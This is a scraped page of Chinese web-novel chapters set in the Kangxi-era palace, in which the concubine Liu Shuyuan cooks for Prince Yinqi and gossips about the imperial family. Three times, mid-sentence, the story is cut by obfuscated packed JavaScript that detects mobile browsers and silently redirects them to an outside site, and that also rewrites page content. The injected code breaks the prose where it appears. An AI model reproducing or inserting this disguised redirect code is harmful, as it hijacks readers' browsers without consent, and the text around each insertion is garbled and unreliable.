戴嬷嬷原想让两个格格送个规模相当的物件就好,若是东西不同,一眼看出好坏优劣,反倒惹人注意。绣帕子是最简单的事情,即便绣工再好,也显不了厉害,可她没想到刘菽圆的女红竟这么差,少不得她一番调教。 “主子平日对春芽那么好,做什么好吃的都想着奴婢,奴婢当然会帮忙啊。”春芽调皮地眨了眨眼,“至于做绣活,您看奴婢是按春芽的水平绣,还是按格格的水平绣呢?” 听了这话,刘菽圆小脸一红:“好你个春芽,真是养肥了,都敢打趣我了,看我不挠你痒痒!” 春芽转身就往佩兰身后躲,刘菽圆哪里给她机会,话都没说完一个转身拦住她的去路,春芽一边笑,一边躲,嘴里喊着求饶:“格格,奴婢不敢了,绕了奴婢吧。”她四处躲闪,几次都被刘菽圆抓住,一顿欺负。 “不饶不饶,上次和你翻花绳、玩九连环,叫你让让我,你也没放水啊,害得我十个寿司全输给了小全子,现在好不容易抓住你,当然要好好报仇!” 两人一追一跑,围着中间吃完白糖糕又吃绿豆糕,还配着珍珠奶茶的佩兰来回打转,佩兰抱着奶茶晕头转向:“格格……能停一停吗……”她快要被转晕了。 “停战停战……我大仇得报,与她互不相欠了。”刘菽圆喘着气坐回秋千上,大口吸了好几个珍珠,春芽也捶着小腿,显然累得够呛。 此时小全子刚领了这个月的月例银子回来,见三人都在院里,赶忙一脸神秘地凑了过来,迫不及待地分享刚探听到的消息。 “格格,二公主要回京了!” 刘菽圆疑惑:“二公主?”康熙的阿哥们很有名,可他的公主们,这就触及刘菽圆的知识盲区了。 小全子压低声音解释:“这二公主是荣妃娘娘的独女,也是咱们万岁爷最宠爱的女儿,康熙三十年的时候,被封为‘和硕荣宪公主’,嫁的是老祖宗孝庄太皇太后的亲闺女,淑慧长公主的孙子,蒙古巴林部札萨克多罗郡王鄂齐尔的次子,乌尔衮。” 好家伙!这么长的身世,也难为小全子能一口气说出来。 刘菽圆算了算这亲属关系,也就是孝庄的外曾孙,娶了孝庄的曾孙女? “真亲戚,这也行?” “这叫‘亲上加亲’,是荣耀的象征呢,公主去年产下一子,万岁爷想念得紧,这不公主就带着额驸、世子一同回来了,荣妃的钟粹宫忙碌了一整天,就为公主归省做准备呢,宜妃娘娘也去了。” “宜妃娘娘?她和荣妃关系还挺好……” 刘菽圆体内的八卦之火在熊熊燃烧,她看了那么多剧,宜妃和德妃素有嫌隙,刚入宫时争宠,后来又比谁生的孩子多,这边给宁寿宫送个阿哥,那边又给个公主,刘菽圆也没亲眼见过,忍不住问:“那德妃呢,她和德妃关系怎么样?” 13. 第 13 章 第十三章 “德妃娘娘确实和宜妃娘娘不合……” 冷不丁在背后议论主子,三人十分心虚,就怕隔墙有耳,立刻默契地收拾吃喝搬回了寝殿,春芽还拿出一大包炒香的瓜子放到刘菽圆面前。 这孩子真上道,掌握了八卦的精髓啊。 然后,刘菽圆就在嗑瓜子的清脆声中了解到康师傅的后宫。 首先是她最好奇的德妃与四阿哥胤禛。 “当年孝懿皇后病重,娘娘日夜守在承乾宫,十四阿哥还不到两岁,虽然有乳母照顾,可哪里比得上亲娘,德妃为孝懿皇后侍疾,亲尝苦药,阖宫上下都看在眼里,小公主去世的时候,德妃痛哭不止,一边安慰皇后,一边处理小公主的身后事,四阿哥陪侍左右,母子因此变得亲密不少。” 提到孝懿皇后,小全子的眼神都变得怀念起来,“孝懿皇后从不苛待我们这些下人,每年暑冬季节,都会从自己私库中取出几千两银子发放绿豆汤和汤婆子,除夕还会赏赐一顿饺子和几两银子,皇后去世,我们都以为这规矩没了,可德妃娘娘竟接过来,继续给我们发银子,奴才们都感恩戴德呢。” 刘菽圆心想,德妃性情平和,与孝懿皇后关系深厚,俩人不仅没仇,还是好姐妹?难道他俩的关系和令妃与乾隆白月光孝贤皇后差不多? 可既然德妃与四阿哥并未生出隔阂,母子情深,后来德妃为何一心偏袒十四阿哥?甚至连雍正登基后,不愿受太后尊号,也不愿居慈宁宫呢? 看来还是有很多她不了解的事啊…… “那为何德妃的五公主抱给太后抚养了?” 要说太后的过往,小全子紧张地深呼吸了好几次,他压低声音道:“太后是顺治爷第二任皇后,又无子,德妃娘娘共生育了三子三女,娘娘精力有限,咱们五爷一个孩子住在宁寿宫,难免寂寞。” 胤祺出生时,后宫已经册封了“四妃九嫔”,生母郭络罗氏早就晋升为妃,虽说性格跋扈张扬了些,到底也是一宫主位,胤祺又是她的长子,按理说应该她自己抚养才是。 “若生母位份低微,按规矩孩子要交由高位嫔妃抚养的,不过啊,太后娘娘看到康熙爷作主将四阿哥给了承乾宫抚养,自己在宫里住着实在无趣,便有意也养个皇子,正巧有回宜妃带五阿哥到宁寿宫请安,太后见阿哥生得玉雪可爱,唇红齿白,实在喜欢,这才将五爷抱到宁寿宫。” 满足了刘菽圆看清宫剧攒的几大好奇,她话锋一转,又绕回胤祺身上:“那宜妃娘娘和咱们五爷呢?”难道这对母子的关系也一样? “格格您也看到了,五爷甚少去翊坤宫请安,母子二人见了面总有些尴尬,其实吧,太后素日念佛,性情宽厚,一直不喜欢宜妃的性子,捎带着也就不想让五爷沾染了生母的习性,所以从小一直就拘着,不让亲近,娘娘后面又生下九阿哥、十一阿哥,还养着郭贵人的四公主,身边孩子多了,哪里还能想起来咱们五爷啊……” 五爷也真是个可怜人,怪不得他听到自己的身世颇为感慨,安静了好一阵子,原来想到自己了。 但八卦就是八卦,左耳朵进右耳朵出,犯不着心里去。刘菽圆吃完瓜,拍了拍手上的瓜子皮,站起来松动下肩膀,听了这老半天八卦嗓子都干了,她便拿起桌上的酸梅汤小口喝着。 亲娘不疼,弟弟不爱,五爷真是个可怜人啊,刘菽圆忍不住再次感慨。 虽说同情,但也就是同情了,了解了领导的过去,才能预判领导的选择,投其所好,保住饭碗! 听了故事的春芽却是心疼得眼泪直掉,双眼通红得比五公主那只兔子还夸张:“我还以为我们的身世已经够惨了,没想到主子也过得不容易……呜呜呜……” “天哪!”刘菽圆一巴掌拍到自己脑门,真是服了春芽这颗圣母心。 她一个宫女,一个月辛辛苦苦赚得钱还不够主子桌上一道菜呢,在这儿心疼起阿哥来了? “行了行了。”刘菽圆终究说不出什么难听话,摆了摆手,“洗把脸,赶紧帮我把作业绣了吧。” 正被议论的当事人爱新觉罗·可怜人·胤祺,若无其事地坐在上书房,正在和他的前桌,老三胤祉说着小话。 两人刚刚练完骑射,累的一身汗,胤祺脖颈处的汗水都浸透了衣领,可还是不服气,他努力练习骑射许久,却还是比不过三哥,天赋这东西,有时真不是你努力就能弥补的。 输了比赛,胤祺突然心血来潮,还想和胤祉来场比试,看看谁的书法更胜一筹。 结果显而易见,胤祺又输了。 “老五,别气馁。” 胤祉的书法诸皇子中极为突出,书法功底扎实,风格端庄,骑射方面也是佼佼者,在康熙首次西征时还随皇太子胤礽一同去往行宫,康熙很是喜欢他这个儿子,围猎、祭陵经常令其跟从。 就连胤祺最擅长的蒙语,在天赋异禀、学习又刻苦的胤祉面前,也不占什么优势。 “你还是有长处的,连三哥都比不过。” “比如?” “你的格格很会吃。” 这句绝对发自肺腑,本分恭维安慰的意思都没有,上次胤祺来上书房时带来刘菽圆做的寿司,他因为替荣妃给九阿哥送东西来迟了,只分到一个肉松的,可就那一口,一下就惊艳到他了,回府和福晋董鄂氏念叨了许久,心里总惦记着,却一直不好意思让胤祺再送一些。 今日他本想寻个由头,自然地和胤祺提出这个请求,没想到胤祺铁了心要和他比试,愣是没给他开口的机会。 胤祉素来了解胤祺,知道他憋着劲想建功立业,凭借自己的本事得到皇阿玛的夸奖,也想让宜妃娘娘对他另眼相看,便上前拍了拍五弟的肩膀:“老五,你且好好练习,不怕没机会施展,我偷偷告诉你,准噶尔那边虎视眈眈,皇阿玛一直有意再次亲征,你多读些兵书,把本事练扎实了,到时候我们兄弟一同随皇阿玛亲征!征战沙场,报效朝廷!” “真的?”胤祺怕胤祉是为了安慰他而找的说辞,一直连着追问了几次,上次他也想去,可皇阿玛只带了太子和三哥,他为此生了好一阵子闷气,听胤祉十分肯定,他哪里还记得刚才连输两次的比试呢。 “还未恭喜三哥,自二姐姐出嫁,荣娘娘心中十分思念,如今二姐姐随额驸、世子一同回宫,也能缓解母女相思之情。”提到荣宪公主,两个弟弟脸上不约而同地浮现出笑容。 胤祉有四年没见她了,荣妃生了五子一女,可活下来陪伴在侧的只有这么一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221949|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿女,胤祉与姐姐从小互相陪伴,自然姐弟情深,“怎么?五弟不想二姐姐?” “二姐姐长我七岁,从小待我亲厚,我当然也是想她的,盼望着她生活安康,平安顺遂,恨不得她住在京城,不回蒙古呢。” 两人笑着回忆儿时,又暗暗期待见到回京的二公主,胤祉的院子和胤祺不在一个方向,道别后胤祺便朝着东走,转弯处却远远看到一个熟悉的背影。 “老十……” 胤祺正想唤住十阿哥,却见他和另一人相谈盛欢,眉宇间满是笑意。 微风轻轻吹起长袍的衣摆,恰好此时那人侧身,等看清他的模样,胤祺的话瞬间噎在喉间,心里像被什么东西堵住了,连呼吸都慢了半拍。 那两人的身影越来越远,逐渐缩成两个小点,可胤祺眉头紧锁,双眼紧紧盯着那个方向,直到人影消失也没有收回目光。 老十,什么时候和老九关系这么好了? 胤祺叹了口气,刚回到院里,就见刘菽圆独自一人,站在院门口笑意连连地等着他:“爷,回来了。” 从前只觉刘格格手艺好,做出的美食不仅能让他一笑,人又简单没什么心计,是个妥帖的侍妾,闲暇时给他提个趣儿罢了,今天一看,她的笑容还挺好看。 这身旗装是他上个月赏的料子,做成的衣裳很衬她的肤色,浅蓝色的衣裳显得整个人清新淡雅,领口和下摆处还镶着淡粉色丝线绣的花边,两把头上簪着只银制的梅花簪,还戴着对称的两只蝴蝶绒花,与平时截然不同,让人眼前一亮。 胤祺不说话,直盯着她身上和脸上来回地看,看得人心里发毛,刘菽圆便故意提高了声音,打断道:“爷,我脸上沾上面粉了吗?这么盯着我看?” “没有。”胤祺抬起手臂,轻握右拳轻咳了两下,“哪个,我明天早膳想吃寿司,每个口味多准备一些,今日流了一身汗,一会儿伺候爷沐浴……” * 刘菽圆到底是条热爱躺平的咸鱼,哪里能躲得过戴嬷嬷的火眼金睛? 绣帕子刚交上去没多久,桌上的茶还没晾凉呢,戴嬷嬷就将绣帕子退了回来,劈头盖脸地数落了她一番。具体的话刘菽圆想不起来了,只模糊记得几句,大致是说做事不能应付,自己的事情,要自己重视,还说什么……要是阿哥们像她一样,对师傅谙达们布置的课业不认真完成,万岁爷知道少不了要受罚,长此以往,坏的可是咱大清的根基。 “阿哥们要诵读经典、练习骑射,寅时起身,酉时下学,一天要学七八个时辰,全年几乎无休,尚不说一句辛苦,格格身为阿哥后院之人,连绣条手帕都要找宫女代劳,也太懒惰了些,若格格执意如此,奴婢便只能让格格每日也按着这个时辰练习女红,直到能绣出合格的绣品为止。” 这话听得刘菽圆耳朵都快起茧子了。再说绣个帕子,怎么还和阿哥比较起来了? 刘菽圆心里腹诽,面上可不敢有半分表露,规规矩矩地应下:“好的,嬷嬷。” 可她一万个不服,现代摸鱼混时间的学生多了去了,她就不信清朝没有,雍正帝勤勉,当阿哥的时候也刻苦,她知道,也佩服,但宫里的阿哥都是乖学生吗?也不见得。 这不第二日,就闹出事情了。 14. 第 14 章 第十四章 九阿哥胤禟和十阿哥胤俄今年都是十二岁,年纪只差一个月,在上书房比邻而坐,两人的功课、骑射都不算拔尖,十阿哥的生母温僖贵妃生前便特立独行,不与别的嫔妃交好,十阿哥虽有心与别的阿哥结交,可他性子胆小怯懦,自贵妃逝世后又变得不爱说话,活生生把自己憋成了个闷葫芦。 纵观整个上书房,几乎没人愿与他亲近。 负责教授汉文经典的翰林院侍读学士常书向康熙奏请了病假,同在书房行走的侍讲学士汤右代班,汤右不像常书那般一板一眼、不知变通,一向左右逢源、溜须拍马,对阿哥们在课堂上的表现睁一只眼闭一只眼,得了阿哥们不少好处。 这不,得知代班的又是汤右,胤禟便动了溜出去玩的心思。 “哥哥们,老常不在,咱们出去转转吧!每天之乎者也的,我头都大了,再这样下去要憋坏了,咱们找点乐子去吧,千万别浪费这千载难逢的机会啊!” 胤禟排行第九,相比下面的十、十一、十二、十三、十四这几个小的,他更愿意和年岁稍长的哥哥们玩,但几位年长的阿哥大多沉稳,对胤禟的提议不大动心。 三阿哥胤祉轻皱眉头,本想劝说几句,见太子未理睬,便继续低头温书,没有搭话。四阿哥胤禛连头都没抬,自始至终专注于眼前的书本,七阿哥胤佑、八阿哥胤禩对视一眼,又默默移开了目光,他们生母出身不高,在阿哥所每日谨言慎行,哪里还敢逃学。 没人理会,胤禟依旧不肯罢休。 他转头溜达到大阿哥胤禔的身边:“大哥,上驷院新得的汗血宝马,爆发力、耐力都比之前的马强,咱们去瞧瞧是不是真的,若所言不虚,到时候木兰秋狝骑它,大哥定能拔得头筹!” 胤禔一向好骑马,况且自福晋伊尔根觉罗氏产女以来,他确有好久没有赛马,正手痒呢。 胤禟见他犹豫,乘胜追击了几句,胤禔就要应下之时,始终一言不发的太子胤礽终于发话:“皇阿玛要的可不是肚子里没货的莽夫,你我身为皇子当悉心研学,勿叫皇阿玛忧心才是,况且身为长子,不应给弟弟们树立榜样吗?” 太子胤礽和大阿哥胤禔自小便不对付,一个仗着是康熙长子,一个仗着是大清储君,一直暗暗较劲,听了这话,胤禔当下就想反驳,但诸位阿哥都未说话,胤禔想到惠妃日日叮嘱,硬生生把话憋了回去,可脸色沉得铁青,胤禟也不敢再触他的霉头了。 “九弟,坐回去吧。”胤祺轻步走到胤禟座位上,用只有两人听到的声音好心劝道,“皇阿玛最讨厌阿哥好逸恶劳,你这样三天打鱼两天晒网的……” 胤禟朝他做了个鬼脸:“我不用你管!少在这说教我!” 胤祺勉强挤出笑容,还想多说几句,胤禟冷哼一声干脆转身回去坐下,连个眼神都没给他。 在座位上干坐了半天,胤禟越想越生气:“都不敢去,我自己去!”正起身时,衣摆忽然被只小手抓住。 “哥哥,我和你去。” 胤禟低头一看,原来是他一母同胞的弟弟,十岁的胤禌,看见瘦弱的弟弟,他的语气立刻软了下来:“十一弟,你的病还没好,在上书房等着哥哥,等你好了哥哥再带你去。” 小十一自生下就小病不断,前几天还发了烧,一直咳嗽,宜妃觉得儿子是缺少锻炼,娇养的过,于是喝了几副汤药便让继续回上书房读书。 胤禟左右看了看,偌大的上书房竟没一人理他,翻了个白眼就气呼呼地溜出去了,结果还没走出阿哥所,就遇到一路小跑追着过来的十阿哥胤俄。 “九哥,带上我吧,我陪你去。” 胤禟上下打量了他一眼:“他们都不去,你凑什么热闹?赶紧回去!我一个人自由自在的,不想带你。” 胤俄却像狗皮膏药般贴了上去:“九哥九哥,骑马有什么好看的?我知道有个地方比上驷院好玩多了,你如果不想去的话……那就各走各的吧,你去看马好了。” 果然,这话一出,胤禟立刻中计:“十弟,你要去哪儿?” “我不告诉你。” “别介……”胤禟略思索了一下,出都出来了,两人各自逃学和一起逃学,当然选一起,就算被逮到还能多个人垫背,“这样吧,我先带你去上驷院,然后再陪你去你想去的地方,如何?” “好啊。” 昨天胤祺撞到两人时,他们正从教坊司出来,偷看舞姬们练舞后,又捉弄了几个小宫女,十分开心,两人相见恨晚,颇对彼此胃口,之前的隔阂也烟消云散。 但这事儿哪能不透风呢。 当晚康熙就知道了。在他眼里,逃学本就是荒废自身,浪费光阴的错事,何况两个阿哥一起犯错,影响极其恶劣。他当面严厉斥责了两人,又下旨撤去汤右的职务,九阿哥、十阿哥每人罚俸三月,禁足上书房半月,想了想还是不解气,索性让他们回阿哥所里再各自杖臀二十,连带着阿哥身边的哈哈珠子们也一起挨打受罚。 二十几号人排成队挨板子,那场面别提多壮观了。 因着这事,胤祺回来便闷闷不乐,晚膳也只用了几筷子红烧鲤鱼,燕窝喂鸭子、香酥鸡、豆腐丝和银耳羹更是碰都没有碰。 领导不高兴,下属自然也不得劲,整晚力不从心,刘菽圆也察觉到了。 第二天,她特意做了好几个口味的寿司给胤祺当早膳,知道他下学后没有胃口,又带着新做的酱香饼和冰豆浆,敲开了书房的门。 “你来了。”胤祺语气平淡,脸上看不出高兴还是失落,刘菽圆也懒得深究,只笑着递过吃食,“酱香饼,咬起来嘎吱嘎吱的,你肯定喜欢,烙了好几张,就这个烙得最好看了,趁着酥脆,来,张嘴。” 远远就能闻到那股热乎乎的香味,瞬间勾起了胤祺的食欲。 胤祺乖乖张开口,饼皮烤得焦黄酥脆,咬下去就发出“咔嚓”的声音,上面的芝麻油香油香的,酱料的味道恰到好处,不咸也不腻,翠绿的葱花带着细微的辣味,不断刺激口腔,分泌口水。 “酱香饼?的确很香。”不用刘菽圆继续劝,胤祺自己接过筷子小口吃了起来。 “冰豆浆,解腻的。”刘菽圆往他的方向推了推,胤祺连喝了几口,燥热感瞬间消退,心情也轻快了许多,见刘菽圆没有反应,终于忍不住问:“你怎么不问我怎么了?” 刘菽圆心里暗道:这还用问? 一来她不关心,二来问了又能怎?她一个没权没力的侍妾,难不成还指望她做什么? 但老板有命,问就问吧。 “你怎么了?” 胤祺叹了口气,放下豆浆将整件事的来龙去脉大概说了一遍:“刚才,额娘把我叫到了翊坤宫。” 挨骂了?刘菽圆猜测,毕竟被打的是她偏爱的二儿子。 宜妃起初确实生气,但数落了胤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221950|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祺几句便冷静下来,其实她也清楚自家儿子的德行,可瞧见胤祺沉默不语的样子,心里的火蹭蹭地又冒了出来:“你啊你,让我说你什么好!皇阿玛要罚你九弟,你就不知道劝劝?我真是气都被你气死了!你这每天除了吃,还知道什么?” 她可是从江荣那儿听说了,胤祺天天都吃那个刘氏做的东西,什么寿司、拌饭,听都没听过,也不知什么脏东西。 “你性子慢,可也不能把老祖宗的规矩都忘了啊!那个刘氏,不过一个侍妾格格……” 宜妃本就对太后选刘菽圆给胤祺一事心存疑虑,那天江荣回禀了之后,她更是起了疑心,总觉得刘氏深不可测,身世另有隐情,便命人去直隶省去查。结果刘菽圆的同乡都没听过她做的这些东西,但刘氏的祖母刘李氏确实很会吃,也会做些千奇百怪,味道却不错的新奇菜,如今刘李氏已经去世,死无对证,其中内情无人知晓,宜妃渐渐便打消了怀疑。 可想到当初她费劲心思安排的瓜尔佳氏,硬生生被太后换了下来,找来替代的马佳氏也不中用,宜妃十分后悔,早知道胤祺喜欢这一卦的,她当初就不特意和荣妃提,叫她这个族妹进宫了,真是浪费时间。 “一个侍妾,不过会做几个吃食,尾巴就翘到天上去了,心眼儿倒不少!”宜妃没给胤祺半点好脸色,越看他越生气,索性开口赶人,“算了算了,随便你怎么着,赶紧走吧,看见你就心烦。” 胤祺面色一沉,仍耐着性子解释:“额娘,刘氏为人单纯,又与人和善,您对她不满,难道就因为她是皇玛嬷宫里的人?可这与她无关,她是无辜的。” 没想到胤祺居然敢回嘴,宜妃顿时气得脸色通红,瞪着双眼,不可置信地指着他:“你说什么?” 胤祺见状,不再多言,朝她行了一礼:“儿子说话额娘不愿听,儿子先告退,但刘氏是我的人,我就该护着她,就像……额娘会护着九弟一样。” “好啊,好一个有担当的儿子啊!”宜妃一下倒在美人凳上,气得胸前来回起伏,宫女忙给她抚背,“一个两个都不让我省心,这就是我生的好儿子,真好啊……” 此时翊坤宫外正等候一人,身着太医服饰,背着药箱,低着头看不清模样,胤祺离开时,那人赶忙让开,等人走远好一会儿,江荣才从殿内走出,对那人干笑道:“徐太医,宜妃娘娘请您进去,十一阿哥的病就指望您呢。” * 阿哥所,青芜院。 胤祺用完晚膳,沐浴后便半躺在塌上看起兵书,他对胤祉的话深信不疑,现在未雨绸缪多看些兵书,等皇阿玛再次征战准噶尔,他好跟着去。 肚子里有货,作战指挥才更有底气。 “五爷,太后娘娘派人送来了山东进贡的樱桃。”李德禄半躬着身,指挥宫女呈上果盘,掐丝珐琅冰盘里放着十几个鲜红饱满的樱桃,看着就有食欲。 “离歇息还有一阵子,晚上不宜饮茶,爷用些樱桃解解渴吧。” 李德禄知晓胤祺刚从翊坤宫回来,心情不好,苦口婆心劝了几次,胤祺都摇了摇头,反而刘菽圆却兴奋起来。 樱桃?樱桃! 刘菽圆心脏怦怦直跳,双眼发亮,这玩意儿……好吃啊! 胤祺看她发起呆,盯着樱桃静静坐着,像透过樱桃看见了什么,便悄悄放下兵书,用镶玉的银签子挑了一颗递了过来,语气带着自己都没察觉的温柔:“想家了吧。” 15. 第 15 章 第十五章 其实刘菽圆没多想家,她上辈子是个野孩子,从小在这个亲戚家住几天,那个亲戚家玩几天,也就穿过来后这才在一个地方呆得久了点。 而且……这是山东樱桃,关她河北什么事? 所以胤祺问她想家时,她也没走心,配合地点了点头,其实内心在想该怎么吃它。 山东樱桃皮薄水多,脆嫩爽口,色如丹霞,味若甘露,就这片刻功夫,刘菽圆就馋得直咽口水。 但胤祺不吃,她也没那口福了。 “太后送了足有两筐呢,五爷,您看……” 山东樱桃虽是贡品,却不算稀罕物,各宫都有份。先分给皇上、太后和地位高的妃子们,然后是太子、大阿哥、三阿哥依次分下去,今日时辰晚了,内务府没送过来也是正常。 “给马佳氏那里送些,其余的都给青芜院就是。”只能看不能吃的刘菽圆使劲吸着香气,忽然听到胤祺提“青芜院”,立刻条件反射地抬头看他,我吗?这么多,都给我? 刘菽圆的表情生动传神,十分灵动,胤祺忍不住笑了:“你不是爱吃会做吗?就做樱桃的各种吃法,爷看看你的本事,做得好有赏!” 御膳房花样多,无非制成糖渍樱桃佐餐、樱桃酱涂饽饽吃,要不就制成樱桃果脯、樱桃酒、樱桃冰酪,夏日解暑,赏赐近臣。 这样算算,她能做的也没多少。 翻了翻库房和柜子,刘菽圆叹了口气,胤祺赏的一些点心当下都被她和三个下人瓜分了,除了衣料、首饰、花瓶摆设,也就翻到包茶叶,还有几个陶瓷小罐,刘菽圆灵机一动。 有了! * 四月的天气阴晴不定,时不时下点小雨,夜里还刮了阵风,好在第二日晴空万里,云卷云舒,伴随着温和的日光,二公主的车驾在鼓乐声中缓缓驶入宫门。 晨雾还未散尽,钟粹宫早早便预备下了,荣妃领着所有的宫人在院里焦急地等待,间或便命小太监去宫门口瞧瞧公主的仪仗过来了没有,哪里能坐得住。 按规矩,公主须带额驸、孩子在乾清宫拜见康熙,再到宁寿宫向太后行礼,获准后才能移至生母宫中觐见。清朝的公主多是“满蒙联姻”的工具,就算母女相见,也得符合规矩,就像得了位份的女儿选秀回家,亲生爹娘要向她行礼一个道理,不过荣宪公主深得康熙宠爱,在这些小事上也就松快了些。 胤祺跟着康熙在乾清宫等候公主请安,阿哥所也因此提前免课一日,太子胤礽、三阿哥胤祉、四阿哥胤禛更是亲自在宫门迎接,给足了排面。 刘菽圆没资格去看热闹,只能在青芜院一边包雪媚娘,一边听小全子绘声绘色地描述,在心里还原清朝公主回京归省的盛大场面。 “也不知道带了什么蒙古特产。”捏着软糯的冰皮,刘菽圆下意识舔了舔嘴角,蒙古的牛羊肉多是散养的,肉质紧实,羊肉鲜香得很,一点都不膻,各种奶制品酸香开胃,现代超市里那些兑水加添加剂的根本没法比,“酸奶饼、奶皮酥糖……啊啊啊,想想就好吃。” 二公主这次带了不少东西,足足装了几十车。除了八只羊、还带了两匹巴林部特产乌珠穆沁马,配套的马鞍通体雕刻缠枝莲纹,镶满了绿松石,毡绣挂毯、珠宝首饰更是装了好几大箱子,青金石发簪、蜜蜡耳环,银质容器盛装的酥油、奶酒,还有熏羊腿,几乎每位主子都有份。 春芽一边给樱桃切丁,一边搭话道:“荣宪公主打小就爱吃樱桃,蒙古气候干燥,种不了果树,公主只能吃樱桃煎解馋,好在这次回来归省,山东巡抚又送来这么多樱桃,公主总算能吃个够了。” “格格您说,昨晚五爷突然提起樱桃,难不成也是因为公主的缘故?” “五爷与公主一向亲近,奴婢觉着五爷这么做,应该是想让主子在公主面前露个脸呢。” 春芽嘟嘟囔囔地说着话,麻利地将樱桃丁撞进白瓷盘里,刘菽圆则咸鱼起来,手中动作越来越慢。 公主回京,太后送果,绕了一大圈,到头来是她这个小喽啰干活。 罢了罢了,无论是领导的姐,还是领导的奶奶,领导一声令下,她管那么多呢,闲着也是无趣,她正愁没有食材不知道吃些什么好,免费送上门的大樱桃,不吃白不吃。 刘菽圆总共做了三种美食,樱桃雪媚娘、樱桃糖葫芦、樱桃派,还附带了饮品樱桃绿茶,甫一做好,李德禄就领着四个小太监装了食盒,临走不忘夸赞:“格格做得就是精致,这些吃食,奴才在紫禁城这么久都没见过,这樱桃也能当山楂使?还能配茶一起喝,真就是格格的脑子机灵,能想到这么搭配,时辰不早了,奴才还得回钟粹宫复命,就不留了。” “李公公慢走,您的那份我让小全子送到您屋里。” 对于这些吃食数量,胤祺一向并不苛责,除了主子的那份,其余的下人分了也是约定俗成的旧例,刘菽圆瞧他眼神来回欣赏打量的样儿,猜到他也想吃了,自然要顺水推舟送个人情。 果然,李德禄接过后笑得花一样,脸上的褶子都显了出来:“多谢格格了。” 这些美食里,刘菽圆最爱那道喝的。天儿逐渐热了,还未到大量用冰的时候,甜食吃多了嗓子发腻,不如来杯绿茶解渴。春芽和佩兰则更中意糖葫芦,尤其是春芽,一串五个,她一口气吃了三串,末了还舍不得地舔嘴角,说“也只有跟着格格,奴婢才能吃到这么多美食。” 也是,樱桃这玩意儿虽然多,可终究是贡品,寻常人哪能轻易吃到。 她可是听说乾隆朝的荔枝都是按颗分的,十分金贵,虽然樱桃比不上荔枝稀罕,但在宫里,普通的宫女太监多半也是尝不到的,像她这样捧着碟子,大口大口地往嘴里塞,更是不可能的事! “这天气也太热了。”刘菽圆拿着扇子疯狂扇着,这还没五月就热成这样,真入了暑期,该怎么熬啊,她这个位份也不知道夏日有没有冰,不过就算有,够干嘛的呢? 想到这儿,刘菽圆突然理解清宫剧里的妃子为何非要宫斗了,换做是你,三伏天里没吃没喝没冰块,你也得燃起来争口气。 这么一对比,现在的生活多么惬意,必须珍惜! 于是刘菽圆擦了擦嘴边的樱桃汁,朝外扬声道:“春芽,一会儿让小全子去膳房取四碗酸奶,再捎些山楂碎、葡萄干、杏仁和核桃,咱们用樱桃拌酸奶吃。” * 钟粹宫。 荣宪公主因远嫁蒙古,来回路程辛苦,康熙特准她在京中多住些时日,早在公主出嫁前,康熙便命上太子、胤禔、胤祉、胤禛、胤祺几个年长的阿哥在宫外选址,建造了一所公主府,这样公主回来归省也有住处,额驸和世子也能修整修整。 作为康熙最宠爱的公主,荣宪回京第一日,康熙就为其举办了“樱桃宴”,一向清心寡欲的太后亲自做东,将宴会的场所定在了宁寿宫,惠宜德荣四妃,还有其他生养过阿哥公主的妃嫔,宫中待嫁的四公主,以及五公主、六公主、七公主,再加上十几位阿哥,宁寿宫里欢声笑语,热热闹闹的,荣宪同太后讲述着在蒙古的生活,荣妃几个不时搭话,竟比除夕守岁还喜庆。 “这几日多陪你额娘说说话,你这一出嫁,她可想你了。”宜妃笑眯眯地抚着她的手,荣妃与荣宪公主对视一眼,母女俩心照不宣地笑了笑,“太后多疼你啊,知道你爱吃樱桃,特设了这樱桃宴,一会儿多用些。” 荣宪公主坐在太后身侧,亲昵地靠在她肩上:“知道了,多谢皇玛嬷。”惹得太后轻轻戳了下她的额头:“你五弟会疼人,知道你在蒙古吃不上这些新鲜花样,是他同哀家提议的,早就想这一口了吧?” 胤祺坐在不远处的紫檀木椅上,听到太后的话,嘴角不由弯起一丝弧度,那夜太后送来两筐樱桃,他想起二姐姐素日爱吃樱桃,便提前叫刘氏准备了,如今二姐姐喜欢,总归没白费。 御膳房备的都是往年常做的点心,樱桃馅饼、樱桃莲子羹、樱桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221951|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒸糕、樱桃冰酪,还有公主爱吃的樱桃煎,再配上几盘新鲜樱桃和樱桃果酒也就是了。 可当胤祺命人往桌上摆了几道新菜式时,众人按捺不住心中好奇,纷纷围拢靠近。 